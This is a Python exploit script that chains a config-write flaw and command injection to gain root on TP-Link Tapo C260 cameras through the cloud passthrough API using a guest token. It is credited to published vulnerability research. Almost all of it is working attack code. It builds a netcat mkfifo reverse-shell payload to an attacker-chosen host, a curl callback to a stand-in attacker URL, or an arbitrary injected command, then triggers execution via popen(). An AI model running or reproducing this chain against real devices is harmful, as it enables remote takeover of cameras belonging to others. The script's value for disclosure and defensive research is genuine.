#!/usr/bin/env python3 """ Tapo C260 RCE Chain — CVE-2026-0651 / CVE-2026-0652 / CVE-2026-0653 Chains arbitrary config write + command injection via set_region_code_handle to achieve guest-to-root RCE on TP-Link Tapo C260 cameras. All vulnerability research by Eugene Lim (@spaceraccoon): https://spaceraccoon.dev/getting-shell-tapo-c260-webcam/ """ import argparse import sys import time import requests import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) CLOUD_HEADERS = { "Content-Type": "application/json; charset=UTF-8", "App-Cid": "app:TP-Link_Tapo_Android:", "X-App-Name": "TP-Link_Tapo_Android", "X-App-Version": "3.13.818", "X-Ospf": "Android 15", "X-Net-Type": "wifi", "X-Strict": "0", "X-Locale": "en_US", "User-Agent": "TP-Link_Tapo_Android/3.13.818(sdk_gphone64_arm64/;Android 15)", } def build_poison_payload(injection: str) -> dict: """ Abuses setLedStatus to write into tp_manage/info/dev_name. The device writes nested JSON keys directly into config paths without validating that the keys match the expected schema. """ return { "inputParams": { "requestData": { "method": "multipleRequest", "params": { "requests": [ { "method": "setLedStatus", "params": { "tp_manage": { "info": { "dev_name": injection, }, "factory_mode": {"enabled": "1"}, }, }, } ] }, } }, "serviceId": "passthrough", } def build_trigger_payload(region: str = "US") -> dict: """ Triggers set_region_code_handle which reads dev_name from config and passes it unsanitized into popen() via get_oemid_by_region_and_device_name. """ return { "inputParams": { "requestData": { "method": "multipleRequest", "params": { "requests": [ { "method": "testUsrDefAudio", "params": { "device_info": { "set_region_code": {"region": region} } }, } ] }, } }, "serviceId": "passthrough", } def cloud_request(cloud_host: str, device_id: str, token: str, payload: dict) -> requests.Response: url = f"https://{cloud_host}/v1/things/{device_id}/services-sync" headers = {**CLOUD_HEADERS, "Authorization": token} return requests.post(url, headers=headers, json=payload, verify=False, timeout=30) def make_injection_string(args) -> str: if args.lhost and args.lport: return f";rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {args.lhost} {args.lport} >/tmp/f;" elif args.callback: return f";curl {args.callback};" elif args.cmd: return f";{args.cmd};" else: print("[!] Provide --lhost/--lport, --callback, or --cmd", file=sys.stderr) sys.exit(1) def poison(cloud_host: str, device_id: str, token: str, injection: str) -> bool: print(f"[*] Poisoning dev_name config with: {injection}") payload = build_poison_payload(injection) try: r = cloud_request(cloud_host, device_id, token, payload) print(f"[*] Poison response: {r.status_code}") if r.status_code == 200: print("[+] Config write successful") return True else: print(f"[-] Unexpected status: {r.text[:200]}", file=sys.stderr) return False except requests.RequestException as e: print(f"[-] Poison request failed: {e}", file=sys.stderr) return False def trigger(cloud_host: str, device_id: str, token: str) -> bool: print("[*] Triggering set_region_code_handle to execute payload via popen()...") payload = build_trigger_payload() try: r = cloud_request(cloud_host, device_id, token, payload) print(f"[*] Trigger response: {r.status_code}") if r.status_code == 200: print("[+] Trigger sent — check your listener") return True else: print(f"[-] Unexpected status: {r.text[:200]}", file=sys.stderr) return False except requests.RequestException as e: print(f"[-] Trigger request failed: {e}", file=sys.stderr) return False def restore(cloud_host: str, device_id: str, token: str, original_name: str = "Tapo C260"): """Best-effort restore of dev_name to avoid leaving the payload in config.""" print(f"[*] Restoring dev_name to '{original_name}'...") payload = build_poison_payload(original_name) try: cloud_request(cloud_host, device_id, token, payload) print("[+] Config restored") except requests.RequestException: print("[!] Failed to restore config — manual cleanup may be needed", file=sys.stderr) def main(): banner = r""" _____ ___ ___ ___ ___ ___ __ ___ |_ _/ _ \| _ \/ _ \ / __|_ )/ /| \ | || (_) | _/ (_) || (__ / / _ \| |) | |_| \___/|_| \___/ \___/___\___/___/ RCE Chain — CVE-2026-0651/0652/0653 Research: @spaceraccoon """ print(banner) parser = argparse.ArgumentParser( description="Tapo C260 RCE chain — guest-to-root via config poisoning + command injection" ) parser.add_argument("--cloud-host", required=True, help="TP-Link cloud API host") parser.add_argument("--device-id", required=True, help="Target device ID") parser.add_argument("--cloud-token", required=True, help="Cloud auth token (guest-level works)") group = parser.add_mutually_exclusive_group(required=True) group.add_argument("--callback", help="HTTP callback URL (e.g. http://attacker.com/hit)") group.add_argument("--cmd", help="Arbitrary command to inject") group.add_argument("--lhost", help="Reverse shell listener IP") parser.add_argument("--lport", default="4444", help="Reverse shell listener port (default: 4444)") parser.add_argument("--no-restore", action="store_true", help="Skip restoring dev_name after exploitation") parser.add_argument("--delay", type=float, default=2.0, help="Seconds to wait between poison and trigger (default: 2)") args = parser.parse_args() injection = make_injection_string(args) if not poison(args.cloud_host, args.device_id, args.cloud_token, injection): sys.exit(1) print(f"[*] Waiting {args.delay}s for config to propagate...") time.sleep(args.delay) if not trigger(args.cloud_host, args.device_id, args.cloud_token): sys.exit(1) if not args.no_restore: time.sleep(1) restore(args.cloud_host, args.device_id, args.cloud_token) print("[*] Done. If using --lhost, check your nc listener.") if __name__ == "__main__": main()